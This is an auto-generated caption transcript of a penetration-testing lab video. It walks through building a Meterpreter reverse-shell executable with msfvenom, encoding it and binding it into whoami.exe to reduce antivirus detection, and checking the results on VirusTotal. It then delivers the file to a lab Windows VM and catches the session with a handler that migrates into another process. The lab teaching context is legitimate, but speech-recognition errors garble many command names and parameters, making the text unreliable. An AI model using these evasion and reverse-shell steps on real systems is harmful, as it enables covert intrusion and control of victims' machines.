WEBVTT - This file was automatically generated by VIMEO

0
00:00:07.200 --> 00:00:10.500
In this video, you will learn how to create malicious speed loads

1
00:00:10.500 --> 00:00:13.100
 that can also evade antivirus Solutions.

2
00:00:14.300 --> 00:00:15.000
So, let's Dive In.

3
00:00:17.300 --> 00:00:21.100
So now that we are on our Kali Linux virtual machine, let's ensure

4
00:00:20.100 --> 00:00:23.400
 we have interconnectivity so you

5
00:00:23.400 --> 00:00:26.700
 can simply open the terminal by clicking on Terminal

6
00:00:26.700 --> 00:00:29.500
 Emulator like so you can increase our font

7
00:00:29.500 --> 00:00:29.700
 size.

8
00:00:30.600 --> 00:00:33.700
On grid let's check our internet connectivity

9
00:00:33.700 --> 00:00:37.000
 firstly Let's do an ifconfig.

10
00:00:36.100 --> 00:00:39.500
 Like Soo to verify. We have an IP

11
00:00:39.500 --> 00:00:41.500
 address on our physical Network.

12
00:00:42.500 --> 00:00:45.300
So ethe0 is connected to my

13
00:00:45.300 --> 00:00:48.300
 personal Network and this is IP address it got

14
00:00:48.300 --> 00:00:50.500
 from my DHCP server.

15
00:00:51.100 --> 00:00:54.700
Next let's ping. Let's ping. Google's

16
00:00:54.700 --> 00:00:57.100
 DNS civil like so we are going

17
00:00:57.100 --> 00:01:00.300
 to use taxi 4 the specify to

18
00:01:00.300 --> 00:01:03.200
 send four icmp. Echo request messages

19
00:01:03.200 --> 00:01:05.500
 to Google's DNS server.

20
00:01:06.100 --> 00:01:10.000
Go ahead enter and currently I have full n10

21
00:01:09.400 --> 00:01:12.500
 connectivity via IP to

22
00:01:12.500 --> 00:01:15.400
 the internet, but let's check to see if my DNS is

23
00:01:15.400 --> 00:01:21.100
 working as well. So let's do ping www.google.com taxi

24
00:01:19.100 --> 00:01:22.900
 and full hit enter

25
00:01:22.900 --> 00:01:25.700
 and let's see if my DNS is resolving.

26
00:01:27.500 --> 00:01:30.800
And yes, it did resolve to an IP V4

27
00:01:30.800 --> 00:01:31.600
 address, which is great.

28
00:01:32.200 --> 00:01:34.700
So great. Let's clear this on.

29
00:01:35.500 --> 00:01:36.400
Let's start off.

30
00:01:37.200 --> 00:01:40.400
Metasploit is an exploitation development

31
00:01:40.400 --> 00:01:43.400
 framework and within a displayed. There is

32
00:01:43.400 --> 00:01:46.500
 a tool which is known as msf Venom.

33
00:01:48.900 --> 00:01:51.300
Msf. Venom is simply tool within

34
00:01:51.300 --> 00:01:54.200
 Metasploit. That's simply allows this cyber Security

35
00:01:54.200 --> 00:01:58.400
 Professionals to generate Standalone Pilots additionally

36
00:01:57.400 --> 00:02:01.200
 from generating Standalone Pilots. We

37
00:02:00.200 --> 00:02:03.100
 can encode it in a Wii that

38
00:02:03.100 --> 00:02:07.400
 it could be less detectable via popular antivirus

39
00:02:06.400 --> 00:02:09.300
 Solutions. So let's try

40
00:02:09.300 --> 00:02:12.800
 this out firstly if I type msf Venom

41
00:02:12.800 --> 00:02:15.600
 as you can see it shows us how to

42
00:02:15.600 --> 00:02:19.200
 use it. It shows us we can insert options on

43
00:02:18.200 --> 00:02:21.200
 variables look at give

44
00:02:21.200 --> 00:02:21.900
 us an example here.

45
00:02:22.700 --> 00:02:25.900
So for instance, we can say msf. Venom -

46
00:02:25.900 --> 00:02:26.300
 p

47
00:02:27.100 --> 00:02:30.700
To specify the payload and this P load. It's

48
00:02:30.700 --> 00:02:33.700
 a reverse TCP connection.

49
00:02:33.700 --> 00:02:36.400
 So in other words if that is

50
00:02:36.400 --> 00:02:39.400
 executed or let's say victim system. It will

51
00:02:39.400 --> 00:02:42.700
 create a review shell a connection from the from the

52
00:02:42.700 --> 00:02:45.800
 victim system back to our attacker machine.

53
00:02:45.800 --> 00:02:48.100
 Then it specifies -

54
00:02:48.100 --> 00:02:51.200
 F that allows us a specify what is the

55
00:02:51.200 --> 00:02:54.400
 type of format so you can see it will

56
00:02:54.400 --> 00:02:57.500
 be an executable and executables are really for

57
00:02:57.500 --> 00:03:01.100
 Windows V Systems Dash. Oh specifies the

58
00:03:00.100 --> 00:03:03.400
 name of the output file, which will call

59
00:03:03.400 --> 00:03:04.900
 peel.exe.

60
00:03:05.500 --> 00:03:08.500
However, I highly recommend to become familiar with this tool

61
00:03:08.500 --> 00:03:10.600
 because it could be very very useful.

62
00:03:11.400 --> 00:03:14.600
So let's try this out. I'm gonna type play and

63
00:03:14.600 --> 00:03:17.300
 before we do this we need a couple

64
00:03:17.300 --> 00:03:17.600
 of things.

65
00:03:18.500 --> 00:03:21.600
Let's do I've config one more time. And this

66
00:03:21.600 --> 00:03:24.800
 time I'm going to take the IP address on my ET

67
00:03:24.800 --> 00:03:27.300
 each one simply because if we

68
00:03:27.300 --> 00:03:31.100
 are going to create a review shell we need to tell the

69
00:03:30.100 --> 00:03:33.300
 victim system which IP address

70
00:03:33.300 --> 00:03:36.800
 to connect back to which is our system. So

71
00:03:36.800 --> 00:03:40.200
 I will need this IP address great. So

72
00:03:39.200 --> 00:03:42.400
 now we have our own IP address

73
00:03:42.400 --> 00:03:45.900
 on ethe1 which is connected to pen testnet

74
00:03:45.900 --> 00:03:48.600
 Network we can get started. So let's

75
00:03:48.600 --> 00:03:51.100
 type. Msf. Venom like so

76
00:03:51.900 --> 00:03:54.600
Then let's do - p and specify

77
00:03:54.600 --> 00:03:57.500
 a simple payload. Of course. This pilot will

78
00:03:57.500 --> 00:04:00.800
 be executed within our metasploitable tree

79
00:04:00.800 --> 00:04:03.300
 Windows vs virtual machine. So we'll see

80
00:04:03.300 --> 00:04:06.500
 how this actually works. However, let's continue. Let's

81
00:04:06.500 --> 00:04:07.300
 do windows.

82
00:04:08.400 --> 00:04:10.300
/ mattubers. Oh

83
00:04:13.700 --> 00:04:14.400
slash reverse

84
00:04:15.100 --> 00:04:18.200
underscore TCP. So you specify the

85
00:04:18.200 --> 00:04:21.400
 payload next we need to specify the local hose

86
00:04:21.400 --> 00:04:22.000
 which is

87
00:04:22.800 --> 00:04:24.300
our call box system

88
00:04:25.100 --> 00:04:29.400
So we're going to Type L. Who's like so equals

89
00:04:28.400 --> 00:04:31.200
 the IP address of

90
00:04:31.200 --> 00:04:34.800
 our Kali Linux virtual machine like so then we

91
00:04:34.800 --> 00:04:37.300
 need a specify what port to connect back

92
00:04:37.300 --> 00:04:40.200
 on to our system. So we're going

93
00:04:40.200 --> 00:04:42.000
 to Type L Port like so

94
00:04:42.700 --> 00:04:45.900
equal and let's use portfol.

95
00:04:47.500 --> 00:04:50.500
Next we're going to type Dash f for the type

96
00:04:50.500 --> 00:04:55.000
 of format, which is executable Dash common,

97
00:04:54.400 --> 00:04:57.400
 or like so let's call this

98
00:04:57.400 --> 00:05:01.200
 P load 1.exe connect

99
00:05:00.200 --> 00:05:04.300
 enter and it says Hey msf

100
00:05:03.300 --> 00:05:06.400
 then on is not found simply because

101
00:05:06.400 --> 00:05:08.600
 I met a typo. So let me fix that very quickly.

102
00:05:11.500 --> 00:05:14.900
Right. So now we have msf venom.

103
00:05:14.900 --> 00:05:17.500
 Let's hit enter one more time. This should

104
00:05:17.500 --> 00:05:20.300
 take a few seconds to complete and pilot will

105
00:05:20.300 --> 00:05:23.800
 be generated and stored within our present working directory.

106
00:05:26.100 --> 00:05:29.800
Okay, great. So the P load is completed it is generated and

107
00:05:29.800 --> 00:05:30.300
 it deceived.

108
00:05:30.900 --> 00:05:33.000
for example, if I type LS -

109
00:05:33.000 --> 00:05:33.500
 L

110
00:05:34.500 --> 00:05:37.600
I can see the P load is stored with my present

111
00:05:37.600 --> 00:05:41.000
 working directory. Okay, great. However, is

112
00:05:40.200 --> 00:05:44.500
 this pillow detectable by antiviruses? Will

113
00:05:44.500 --> 00:05:47.200
 it be flagged will it be blocked? These are questions we need

114
00:05:47.200 --> 00:05:47.600
 to answer.

115
00:05:48.400 --> 00:05:51.200
So to test this out, let's open our web

116
00:05:51.200 --> 00:05:51.600
 browser.

117
00:05:52.900 --> 00:05:56.100
And let's go to virus tool virus

118
00:05:55.100 --> 00:05:58.900
 Tut elixu and

119
00:05:58.900 --> 00:05:59.100
 enter.

120
00:05:59.900 --> 00:06:02.500
and currently we will click on this

121
00:06:02.500 --> 00:06:05.200
 first URL that says virusuital.com

122
00:06:05.900 --> 00:06:08.600
virus tools simply allows anyone to

123
00:06:08.600 --> 00:06:11.500
 upload a file on this file could be

124
00:06:11.500 --> 00:06:15.100
 checked against over 50 different antivirus sensors

125
00:06:14.100 --> 00:06:18.200
 to determine whether it is detected any

126
00:06:17.200 --> 00:06:20.000
 sort of malicious code or not.

127
00:06:21.500 --> 00:06:24.300
Simply click on file and then click on choose file.

128
00:06:25.100 --> 00:06:28.600
Now, let's navigate to all present working directory,

129
00:06:28.600 --> 00:06:31.100
 which is home like so and here you can

130
00:06:31.100 --> 00:06:34.200
 see we have P load 1.exe. Let's click on

131
00:06:34.200 --> 00:06:34.700
 ub1.

132
00:06:35.500 --> 00:06:38.500
So right now it will attach the

133
00:06:38.500 --> 00:06:39.100
 file like so

134
00:06:39.700 --> 00:06:42.100
Then once we click on confirm upload, it will

135
00:06:42.100 --> 00:06:45.300
 calculate a harsh of the file and pass the harsh

136
00:06:45.300 --> 00:06:49.000
 to over 50 different antivirus sensors and

137
00:06:48.300 --> 00:06:51.700
 it will tell us what it is detecting what

138
00:06:51.700 --> 00:06:54.100
 it is. Benai or what it

139
00:06:54.100 --> 00:06:57.100
 is malicious. So, let's give this a few seconds

140
00:06:57.100 --> 00:07:00.400
 around and while this is running you can see the number

141
00:07:00.400 --> 00:07:02.800
 of sensors that are detecting this to be malicious.

142
00:07:04.200 --> 00:07:07.000
Okay, great. So this was completed and we can

143
00:07:07.400 --> 00:07:10.300
 see the actual harsh of the file. We could see the size of the file

144
00:07:10.300 --> 00:07:13.900
 we can see when the scan was completed and we

145
00:07:13.900 --> 00:07:17.100
 can see it was checked with 72 different

146
00:07:16.100 --> 00:07:20.000
 antivirus sensors and 56

147
00:07:19.700 --> 00:07:21.900
 detected this file to be malicious.

148
00:07:22.500 --> 00:07:25.500
If I screw along just a little bit we can see all the

149
00:07:25.500 --> 00:07:28.700
 antivirus sensors that detected this

150
00:07:28.700 --> 00:07:31.700
 three malicious and we can also see the ones that

151
00:07:31.700 --> 00:07:34.300
 was not able to detect this file to be malicious.

152
00:07:35.300 --> 00:07:38.500
If you click on details, we can see all the specific

153
00:07:38.500 --> 00:07:41.400
 harshers that was generated for this file like

154
00:07:41.400 --> 00:07:44.200
 so we can see the history. We can see

155
00:07:44.200 --> 00:07:47.100
 the name we can even see if there's any sort of

156
00:07:47.100 --> 00:07:50.800
 PE information such as portable executable any

157
00:07:50.800 --> 00:07:53.400
 handlers any sort of imports and

158
00:07:53.400 --> 00:07:57.600
 specific details that static malware

159
00:07:57.600 --> 00:07:59.100
 analysis. What are shown us?

160
00:07:59.800 --> 00:08:02.900
The thing about using fire suitol

161
00:08:02.900 --> 00:08:05.800
 is if it detects a new type of malware, let's

162
00:08:05.800 --> 00:08:08.100
 say for instance how I upload this file.

163
00:08:08.100 --> 00:08:11.700
 This information will be shared with other antivirus sensors.

164
00:08:12.400 --> 00:08:15.500
So there are 56 antiviruses are detected as

165
00:08:15.500 --> 00:08:16.100
 file to be malicious.

166
00:08:16.800 --> 00:08:20.300
Let's try creating another payload.

167
00:08:19.300 --> 00:08:22.800
 But this time let's actually use a

168
00:08:22.800 --> 00:08:25.300
 very popular encoder. There's commonly

169
00:08:25.300 --> 00:08:28.700
 used to bypass antiviruses. So I'm gonna minimize my

170
00:08:28.700 --> 00:08:31.200
 web browser. Let's head over

171
00:08:31.200 --> 00:08:34.100
 back to or terminal. I'm gonna press up just a few

172
00:08:34.100 --> 00:08:37.700
 times this time. I'm going to change this to pee load

173
00:08:37.700 --> 00:08:40.700
 number two, and let's amend this

174
00:08:40.700 --> 00:08:41.500
 actual.

175
00:08:42.800 --> 00:08:45.800
Come on, so I'm gonna add Taki or

176
00:08:45.400 --> 00:08:46.800
 - e at the end.

177
00:08:47.500 --> 00:08:51.100
Space are no I'm gonna specify the actual

178
00:08:51.100 --> 00:08:54.500
 encoder. This will be x86 like so

179
00:08:54.500 --> 00:08:57.700
 and we're going to use the shakata again.

180
00:08:57.700 --> 00:08:58.700
 I encoder

181
00:08:59.600 --> 00:09:03.000
next I can do - I to

182
00:09:02.800 --> 00:09:06.800
 encode this with nine iterations. This

183
00:09:06.800 --> 00:09:09.400
 will also help reduce detection. I'm gonna

184
00:09:09.400 --> 00:09:12.500
 hit enter like so this will take a few

185
00:09:12.500 --> 00:09:15.400
 seconds to complete once this is complete. It will generate

186
00:09:15.400 --> 00:09:18.600
 the new pilot 2.exe file within my

187
00:09:18.600 --> 00:09:19.800
 present working directory.

188
00:09:22.700 --> 00:09:25.900
Excellent. So now we can see each iteration that

189
00:09:25.900 --> 00:09:28.500
 was used and we could also see it was

190
00:09:28.500 --> 00:09:29.700
 succeeded perfectly.

191
00:09:30.600 --> 00:09:32.600
If I do LS - L

192
00:09:33.200 --> 00:09:36.400
and hit enter I can see now. We have P load number

193
00:09:36.400 --> 00:09:39.600
 two that exe which is great. So once more

194
00:09:39.600 --> 00:09:43.200
 let's head over back to our web brows

195
00:09:42.200 --> 00:09:45.900
 up where we have virus total. And

196
00:09:45.900 --> 00:09:48.800
 now let's upload this new file, which is p loot

197
00:09:48.800 --> 00:09:49.000
 number two.

198
00:09:49.600 --> 00:09:51.700
Simply select it and click on ub1.

199
00:09:52.500 --> 00:09:55.000
And next let's click on confirm upload.

200
00:09:55.900 --> 00:09:58.200
The process will be repeated because this is

201
00:09:58.200 --> 00:10:01.800
 a new file. It will be it will be harsh and

202
00:10:01.800 --> 00:10:04.300
 it will pass through each antivirus sensor.

203
00:10:07.800 --> 00:10:10.400
Great, I'll notice now that even

204
00:10:10.400 --> 00:10:14.000
 though we have encoded the actual file, it

205
00:10:13.400 --> 00:10:17.100
 was still able to be detected by 52 antivirus

206
00:10:16.100 --> 00:10:19.600
 sensors. Well, we'll open

207
00:10:19.600 --> 00:10:22.700
 to get a lot less detection. But you

208
00:10:22.700 --> 00:10:26.400
 know, we can all try again. So let's actually improve our

209
00:10:25.400 --> 00:10:28.300
 encoding and this time

210
00:10:28.300 --> 00:10:31.800
 we're actually going to buy it into a file

211
00:10:31.800 --> 00:10:33.500
 that seems to look legitimate.

212
00:10:35.300 --> 00:10:38.800
We're going to minimize this web browser like so now

213
00:10:38.800 --> 00:10:40.100
 we're back to our terminal.

214
00:10:41.300 --> 00:10:41.500
so

215
00:10:42.400 --> 00:10:45.100
it was detected by 54 sensors. Let's see if

216
00:10:45.100 --> 00:10:48.400
 you could get this down to some smaller numbers.

217
00:10:49.300 --> 00:10:52.800
Clear item. Now gonna press up to get

218
00:10:52.800 --> 00:10:55.900
 my last command. We are going to keep the seams

219
00:10:55.900 --> 00:10:59.000
 and Ducks. But this time we are going to embed this

220
00:10:58.200 --> 00:11:01.900
 file into a trusted executable.

221
00:11:02.900 --> 00:11:05.100
Before I do this, I'm going to open up

222
00:11:05.100 --> 00:11:08.600
 a new tab. I'm going to see if I could find

223
00:11:08.600 --> 00:11:09.100
 a file.

224
00:11:11.800 --> 00:11:13.300
can type slash user

225
00:11:15.900 --> 00:11:16.700
slash share

226
00:11:17.300 --> 00:11:17.700
windows

227
00:11:18.900 --> 00:11:21.300
Binaries hit enter.

228
00:11:22.200 --> 00:11:24.900
and if I do LS - L

229
00:11:25.600 --> 00:11:27.600
let's to pipe.

230
00:11:29.100 --> 00:11:31.500
Grab, let's do who am I?

231
00:11:33.100 --> 00:11:35.900
Think so. Okay great. So this file

232
00:11:36.700 --> 00:11:40.300
is simply the who am I command within

233
00:11:39.300 --> 00:11:42.800
 a Windows exe? So

234
00:11:42.800 --> 00:11:45.700
 I'm gonna bind our P

235
00:11:45.700 --> 00:11:48.300
 load into this file and create a new P loon.

236
00:11:49.300 --> 00:11:49.900
So let's do that.

237
00:11:51.500 --> 00:11:53.500
current type PWD on this window

238
00:11:54.300 --> 00:11:57.900
I'm going to copy the directory cut over

239
00:11:57.900 --> 00:12:00.200
 back to our msf. Venom window.

240
00:12:01.300 --> 00:12:04.300
Now remember we have Tak X like so or

241
00:12:04.300 --> 00:12:07.900
 Dash X and specify present working

242
00:12:07.900 --> 00:12:10.400
 directory of where that pillow was

243
00:12:10.400 --> 00:12:10.600
 stored.

244
00:12:14.200 --> 00:12:16.900
Let's do slash and this time gonna type.

245
00:12:18.200 --> 00:12:18.700
Who?

246
00:12:20.600 --> 00:12:20.900
I

247
00:12:24.300 --> 00:12:25.600
that EXE

248
00:12:26.200 --> 00:12:29.300
and last but not least which I almost forgot

249
00:12:29.300 --> 00:12:32.600
 to do is I need to change the name of Hope file

250
00:12:32.600 --> 00:12:35.000
 from p02 to Pilot 3 create.

251
00:12:36.500 --> 00:12:39.300
Can hit enter this will take a few

252
00:12:39.300 --> 00:12:42.300
 seconds to complete and now we'll have pilot number

253
00:12:42.300 --> 00:12:45.400
 three which will seem to look at so it's

254
00:12:45.400 --> 00:12:46.000
 all legitimate file.

255
00:12:46.900 --> 00:12:49.000
Simply because it will be embedded within the

256
00:12:49.300 --> 00:12:50.400
 Who Am i.exe file.

257
00:12:53.100 --> 00:12:56.200
Okay, great. So now we have pilot number three if I

258
00:12:56.200 --> 00:12:57.800
 do LS - L

259
00:12:58.500 --> 00:13:01.600
We can see pilot number three is right here. Great.

260
00:13:01.600 --> 00:13:05.200
 Let's head over back to our web browser. I'm

261
00:13:04.200 --> 00:13:07.400
 gonna upload another file and

262
00:13:07.400 --> 00:13:08.500
 this time is asking hey,

263
00:13:09.600 --> 00:13:11.600
Am I a robot? Well, let's see.

264
00:13:18.800 --> 00:13:20.500
Whoa, so I'm getting this a lot.

265
00:13:21.500 --> 00:13:23.600
I'm gonna head over to Google.

266
00:13:24.600 --> 00:13:27.000
Let me do virus tools all once more.

267
00:13:28.500 --> 00:13:30.200
Hit enter. Let me go to the homepage.

268
00:13:31.300 --> 00:13:34.100
Hopefully doesn't ask me to verify what i'm a robot or

269
00:13:34.100 --> 00:13:34.200
 not.

270
00:13:35.300 --> 00:13:37.000
gonna upload pilot number three

271
00:13:41.200 --> 00:13:43.300
and hopefully less sensors.

272
00:13:44.100 --> 00:13:47.200
Will be able to detect this is a malicious file. If you're

273
00:13:47.200 --> 00:13:50.500
 remote number two, there is 54 senses

274
00:13:50.500 --> 00:13:53.400
 detected is file. Let's see if there's less than

275
00:13:53.400 --> 00:13:54.400
 54 this time.

276
00:14:00.400 --> 00:14:03.400
And great. Look we have 27 sensors.

277
00:14:04.100 --> 00:14:07.200
So the thing about antivirus sensors is they will

278
00:14:07.200 --> 00:14:10.700
 always get updated from time to time. And this is usually quite

279
00:14:10.700 --> 00:14:14.100
 a challenge to actually bypass antiviruses.

280
00:14:13.100 --> 00:14:16.300
 However, as you can see using these

281
00:14:16.300 --> 00:14:19.200
 techniques over and over we can reduce the

282
00:14:19.200 --> 00:14:22.500
 detection rate on whether or Pilots are

283
00:14:22.500 --> 00:14:23.700
 being detected or not.

284
00:14:27.100 --> 00:14:30.800
So now that we have our p-load number 3 Let's actually

285
00:14:30.800 --> 00:14:33.200
 try this out on a Windows system,

286
00:14:33.200 --> 00:14:35.200
 and this will be very very exciting.

287
00:14:36.200 --> 00:14:39.600
So now let's head over back to virtualbox manager and

288
00:14:39.600 --> 00:14:42.900
 let's pause on our Windows actually or

289
00:14:42.900 --> 00:14:45.600
 metasploitable tree Windows Virtual Machine.

290
00:14:47.100 --> 00:14:49.200
And click on settings network.

291
00:14:50.400 --> 00:14:53.500
It's on a pen. Test Network allow. Okay, this

292
00:14:53.500 --> 00:14:54.200
 seems to be great.

293
00:14:57.900 --> 00:14:59.600
Going to log in once more.

294
00:15:05.600 --> 00:15:08.000
Gonna make sure my python web server is running.

295
00:15:08.600 --> 00:15:12.300
One port 8080t great and my

296
00:15:11.300 --> 00:15:13.700
 IP is correct as well.

297
00:15:18.500 --> 00:15:21.200
Go up on the web browser. Hopefully this works this

298
00:15:21.200 --> 00:15:21.300
 time.

299
00:15:22.600 --> 00:15:23.800
Let's do http.

300
00:15:24.400 --> 00:15:26.500
call on slots slash 172

301
00:15:27.600 --> 00:15:31.500
31 dot t86 like

302
00:15:30.500 --> 00:15:31.700
 so

303
00:15:32.800 --> 00:15:35.300
cool on ET to specify the socket

304
00:15:35.300 --> 00:15:37.100
 and greet it worked this time.

305
00:15:37.900 --> 00:15:40.500
So right now we are within the directory

306
00:15:40.500 --> 00:15:43.600
 of where we had executed a python

307
00:15:43.600 --> 00:15:44.500
 web server module.

308
00:15:45.200 --> 00:15:49.200
So let me scroll down and we can see pilot trees

309
00:15:48.200 --> 00:15:50.000
 here. Let's click it.

310
00:15:50.900 --> 00:15:54.600
Let's see if this on our desktop

311
00:15:53.600 --> 00:15:56.300
 like so and click

312
00:15:56.300 --> 00:15:56.600
 save.

313
00:15:57.400 --> 00:15:58.600
And let's click lose.

314
00:15:59.400 --> 00:16:02.200
Gonna minimize our web browser and you can and

315
00:16:02.200 --> 00:16:03.600
 we have peel tree here.

316
00:16:04.200 --> 00:16:04.800
excellent

317
00:16:05.600 --> 00:16:08.100
So I'm gonna stop the python web server now like

318
00:16:08.100 --> 00:16:08.300
 so.

319
00:16:08.900 --> 00:16:11.400
And before we execute a speed load, let's

320
00:16:11.400 --> 00:16:14.400
 start up what we call a multi-handler to

321
00:16:14.400 --> 00:16:17.600
 catch that connection from the victim system.

322
00:16:18.500 --> 00:16:21.400
This time we need to type msf console to

323
00:16:21.400 --> 00:16:24.100
 start Metasploit and this will take a few

324
00:16:24.100 --> 00:16:27.700
 seconds to load unwanted loads. We will start

325
00:16:27.700 --> 00:16:29.600
 up a multi-handler.

326
00:16:30.900 --> 00:16:34.000
Module to actually catch that session once

327
00:16:33.400 --> 00:16:34.900
 it is executed.

328
00:16:37.800 --> 00:16:38.100
Great.

329
00:16:39.200 --> 00:16:42.500
So now we could type use exploit like

330
00:16:42.500 --> 00:16:45.900
 so multi slash Handler

331
00:16:45.900 --> 00:16:47.800
 going to enter nice.

332
00:16:48.700 --> 00:16:51.900
Next we're going to type set P load like

333
00:16:51.900 --> 00:16:52.200
 so.

334
00:16:53.200 --> 00:16:56.600
We are the special is simply load that is use to create

335
00:16:56.600 --> 00:16:58.800
 the actual Standalone pillow.

336
00:16:59.500 --> 00:17:02.700
Which is Windows slash methioporter?

337
00:17:03.300 --> 00:17:06.400
Slash reverse TCP like

338
00:17:06.400 --> 00:17:07.600
 so hit enter.

339
00:17:08.200 --> 00:17:11.400
We just specify our local IP address,

340
00:17:11.400 --> 00:17:13.300
 which is the lhost.

341
00:17:14.300 --> 00:17:17.000
And that's the IP for Kali Lux virtual machine.

342
00:17:17.600 --> 00:17:20.200
Next we need to set the local Port which is

343
00:17:20.200 --> 00:17:20.600
 set.

344
00:17:23.500 --> 00:17:26.600
Alport like so and this is four

345
00:17:26.600 --> 00:17:29.900
 four four. Actually. Let's type

346
00:17:29.900 --> 00:17:32.700
 options. Do I need to set a local port or

347
00:17:32.700 --> 00:17:35.700
 the local portals already set? Alright, so next

348
00:17:35.700 --> 00:17:36.900
 let's type set.

349
00:17:38.800 --> 00:17:41.600
auto run script like so

350
00:17:42.100 --> 00:17:43.400
And let's type post.

351
00:17:44.400 --> 00:17:44.700
/

352
00:17:46.100 --> 00:17:46.600
windows

353
00:17:49.500 --> 00:17:50.700
/ manage

354
00:17:56.500 --> 00:17:58.300
slash migrate

355
00:17:59.700 --> 00:18:03.700
So the purpose of this Auto script is that once once

356
00:18:02.700 --> 00:18:05.100
 a victim connects back to us?

357
00:18:06.200 --> 00:18:07.600
this script will

358
00:18:08.600 --> 00:18:12.400
automatically be pushed to the victim system. Once

359
00:18:11.400 --> 00:18:14.000
 this push it will execute and it will

360
00:18:14.600 --> 00:18:17.300
 migrate actual process at P looters running on on

361
00:18:17.300 --> 00:18:18.000
 the victim system.

362
00:18:18.900 --> 00:18:21.200
So let's type options one more time.

363
00:18:21.200 --> 00:18:23.800
 Let's ensure that everything is set properly.

364
00:18:24.900 --> 00:18:27.600
Create let's type exploit. Now.

365
00:18:27.600 --> 00:18:30.100
 This will start a Handler to listen for the

366
00:18:30.100 --> 00:18:30.400
 connection.

367
00:18:31.600 --> 00:18:33.200
Let's head over back to our

368
00:18:34.400 --> 00:18:35.300
victim system

369
00:18:36.100 --> 00:18:36.400
like so

370
00:18:37.600 --> 00:18:40.600
and check this out. I'm gonna execute a

371
00:18:40.600 --> 00:18:43.400
 p-load and you will see on the Kali

372
00:18:43.400 --> 00:18:46.100
 Lux will show machine. It will be cut in the reviews connection.

373
00:18:47.400 --> 00:18:48.900
Now double click clicker on.

374
00:18:49.900 --> 00:18:52.200
And look what happens on the left hand

375
00:18:52.200 --> 00:18:52.800
 side of the screen.

376
00:18:53.600 --> 00:18:56.100
We can see now the stage of the

377
00:18:56.100 --> 00:18:59.300
 pilot was sent we can see the connection was sent

378
00:18:59.300 --> 00:19:02.200
 we can see exactly everything that happened

379
00:19:02.200 --> 00:19:05.600
 and the actual p-load spawner

380
00:19:05.600 --> 00:19:09.200
 process, which is called nude pod exe and migrated

381
00:19:08.200 --> 00:19:11.300
 the actual p-load or

382
00:19:11.300 --> 00:19:14.300
 the process into that rule process.

383
00:19:14.300 --> 00:19:17.300
 So therefore on the victim machine if we

384
00:19:17.300 --> 00:19:20.800
 check let's say task manager. We'll see nude parties

385
00:19:20.800 --> 00:19:23.300
 running well nude party XC, but nude

386
00:19:23.300 --> 00:19:26.400
 party exe simply a camel flash for the

387
00:19:26.400 --> 00:19:27.100
 actual peel load.

388
00:19:27.700 --> 00:19:30.600
And right now we have a method reviews connection,

389
00:19:30.600 --> 00:19:34.000
 which is excellent if I type this info.

390
00:19:34.500 --> 00:19:37.700
We can see we are retrieving the information from

391
00:19:37.700 --> 00:19:38.700
 the victim system.

392
00:19:40.200 --> 00:19:43.300
Pretty cool right in this video. You have learned how

393
00:19:43.300 --> 00:19:47.100
 to create malicious Pilots using MSR Venom Additionally you

394
00:19:46.100 --> 00:19:49.200
 have also learned how to transfer the

395
00:19:49.200 --> 00:19:53.200
 speed loot across to the victim system executed anyone capture

396
00:19:52.200 --> 00:19:54.500
 the review shell.

397
00:19:55.300 --> 00:19:58.500
In the next video, we will take a look at exploiting vulnerable

398
00:19:58.500 --> 00:20:01.500
 machines and compromising different type of

399
00:20:01.500 --> 00:20:04.500
 security weaknesses. I hope this video has been informative

400
00:20:04.500 --> 00:20:06.400
 for you and I'll see you in the next one.
